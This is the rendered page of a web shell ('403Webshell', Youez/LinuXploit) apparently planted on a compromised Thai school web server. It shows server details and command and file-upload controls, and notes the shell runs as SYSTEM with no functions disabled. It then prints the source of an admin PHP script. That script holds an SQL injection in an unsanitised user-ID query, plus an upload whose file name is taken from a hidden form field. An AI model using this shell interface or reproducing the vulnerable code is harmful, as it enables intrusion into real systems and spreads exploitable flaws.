403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/2566/modules123456/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/2566/modules123456/admin/signaturesch.php
<? if($update == '1' ){
//==========================================================================================
//======================================================== BEGIN ===== UPLOAD 1 ============
//==========================================================================================

	if (is_uploaded_file($_FILES['filesw']['tmp_name'])) { 
	$filesw_name = substr ($filesw, -4);
			
	
	$filesw_name=$idedit;
#ตรวจสอบชนิดของไฟล์
$sizefile = $_FILES["filesw"]["size"]; 
if($sizefile>20480) {echo "<script language='javascript'>" ;
				echo "alert('กรุณาใช้รูปภาพ 20  kb ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
}

			
			move_uploaded_file($_FILES['filesw']['tmp_name'],"laysen/" . $filesw_name.".jpg" );	
	}
//==========================================================================================
//======================================================== END ======= UPLOAD 1 ============
//==========================================================================================
	
} ?>

      <table align="right"cellspacing="0" cellpadding="0" width="1000" border="0">
        <tbody>
          <tr>
            <td width="20"><img id="b1_r1_c1" height="15" alt="" 
                  src="images/main/b1_r1_c1.gif" width="20" border="0" /></td>
            <td background="images/main/b1_top_bg.gif"><img id="b1_r1_c3" 
                  height="15" alt="" src="images/main/b1_top_bg.gif" width="10" 
                  border="0" /></td>
            <td width="19"><img id="b1_r1_c4" height="15" alt="" 
                  src="images/main/b1_r1_c4.gif" width="19" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="500" border="0">
        <tbody>
          <tr>
            <td width="10" background="images/main/b1_r2_c1.gif" 
                  height="100%"><img id="b1_r2_c1" height="10" alt="" 
                  src="images/main/b1_r2_c1.gif" width="10" border="0" /></td>
            <td valign="top" width="100%" background="images/main/b1_ct_bg.gif" 
                height="100%"><div align="center">
                <table cellspacing="0" cellpadding="0" width="98%" border="0">
                  <tbody>
                    <tr>
                      <td><table width="100%">
                          <tr>
                            <td>
                              <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0">
                                <tr>
                                  <td height="1" class="dotline"><CENTER><a href="javascript:window.open('','_self');window.close()" >ปิดหน้าต่างนี้</a><BR> เมื่อปิดหน้าต่างนี้แล้ว กรุณารีเฟรซหน้าข้อมูลบุคลากร หรือ กด F5  หรือ ctrl+f5</CENTER></td>
                                </tr>
                                <tr>
                                  <td>
                                      <!-- แสดงผลรายการ -->

<? if($showedit != '') { ?>
<br>
  <form name="form2" method="post" action="?name=admin&file=signaturesch" enctype="multipart/form-data">
  <div align="left"><br>
    <table width="450"  border="0" align="center" cellpadding="0" cellspacing="0">
      
      <tr class="unnamed1">
        
		

<?
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$sql="select * from web_user where id=$showedit ";
	//echo"$sql";
	$dbquery = mysql_db_query($dbname, $sql);
	
		$result = mysql_fetch_array($dbquery);
		
	
?>

			<td class="unnamed2"><div align="center">
				แก้ไขลายเซ็นต์ ของ<BR> <b><? echo"$result[category_name]"; ?></b><BR>&nbsp;
				
			</div></td>
</tr>
<tr>
			<td class="unnamed2"><div align="center">
				
				<input name="filesw" type="file" id="filesw" size="30" >&nbsp;&nbsp;
				<input name="idedit" type="hidden" id="idedit" value="<? echo"$result[id]"; ?>">
				<input name="update" type="hidden" id="update" value="1">
			</div></td>
			</tr>
			<tr>
        <BR>
        <td><div align="center">
           <BR> <input type="submit" name="Submit" value="  บันทึกการแก้ไข    ">
        </div></td></tr>
        <td><label>
        </label></td>
      </tr>
    </table>
    <br>
</form>
  <? } ?>
<br>

<br>
									  <!-- แสดงผลรายการ -->
                                      
                                      <br />
                                    <br />
                                  </td>
                                </tr>
                              </table>
                            <br /></td>
                          </tr>
                      </table></td>
                    </tr>
                  </tbody>
                </table>
            </div></td>
            <td width="10" background="images/main/b1_r2_c5.gif" 
                  height="100%"><img id="b1_r2_c5" height="10" alt="" 
                  src="images/main/b1_r2_c5.gif" width="10" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="700" border="0">
        <tbody>
          <tr>
            <td width="20"><img id="b1_r4_c1" height="15" alt="" 
                  src="images/main/b1_r4_c1.gif" width="20" border="0" /></td>
            <td background="images/main/b1_foot_bg.gif"><img id="b1_r4_c3" 
                  height="15" alt="" src="images/main/b1_foot_bg.gif" width="10" 
                  border="0" /></td>
            <td width="19"><img id="b1_r4_c4" height="15" alt="" 
                  src="images/main/b1_r4_c4.gif" width="19" 
              border="0" /></td>
          </tr>
        </tbody>
      </table>
</div>
<script language="javascript">


function DoSearch()
{
	var id=document.form3.search.value;
			
				 location.href("?name=admin&file=signature2&search="+id);
			
}
function DoCancel()
{
	
				 location.href("?name=admin&file=signature2");
			
}

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit